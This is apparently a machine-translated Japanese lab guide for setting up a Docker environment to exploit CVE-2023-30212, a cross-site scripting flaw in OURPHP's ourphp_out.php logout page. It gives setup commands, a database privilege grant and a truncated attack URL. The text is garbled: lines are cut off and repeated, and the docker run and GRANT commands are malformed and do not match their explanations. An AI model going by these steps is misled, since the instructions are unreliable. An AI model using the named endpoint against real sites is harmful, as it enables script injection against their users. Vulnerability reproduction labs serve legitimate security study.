
CVE-2023-30212 の脆弱性を悪用する Docker 環境VE-2023-30212 は、OURPHP のバージョン 7.2.0 以前に影響するセキュリティ脆弱性です。この脆弱性により、クロスサイトスクリプティング (XSS) 攻撃が可能になります。
Docker 環境と CVE-2023-30212 脆弱性の悪用。CVE-2023-30212 は、OURPHP 7.2.0 以前のバージョンに影響するセキュリティ脆弱性です。この脆弱性により、クロスサイトスクリプティング (XSS) 攻撃が可能になります。
OURPHP <= 7.2.0 は、/client/manage/ourphp_out.php を介してクロスサイトスクリプティング (XSS) に対して脆弱です。
dockerfile をダウンロードして展開します
https://down.chinaz.com/api/index/download?id=51308&type=code
エクスプロイト CVE 2023-30212 をダウンロードします
dockerfile を保存したフォルダーでターミナルを開きます
Docker マシンをインストールします
sudo apt update
sudo apt install docker.io
Docker イメージを作成します
docker run -d -p < Docker image id>
Docker イメージを確認します
docker ps
新しいコンテナ ID を取得します
bb18debddccc test "docker-php-entrypoi…" 4 minutes ago Up 4 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp angry_turing
実行中の Docker コンテナ内で対話型 bash セッションを実行します
docker exec -it bb18debddccc /bin/bash
*docker シェルを取得します
> root@bb18debddccc:/var/www/html#
MySQL データベースを設定します
root@bb18debddccc:/var/www/html# mysql
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 10.3.38-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
MySQL または MariaDB ですべての権限を付与します
GRANT ALL PRIVILEGES ON . TO ' user account'@'localhost' IDENTIFIED BY 'user password' WITH GRANT OPTION;
これは、MySQL や MariaDB などのデータベース管理システムで、現在のシステム上のすべてのデータベースとテーブルに対して「root」ユーザーにすべての権限を付与するために通常使用される SQL コマンドです。
URL: http://localhost:8080/client/manage/ourphp_out.php?ourphp_admin=logout&out=)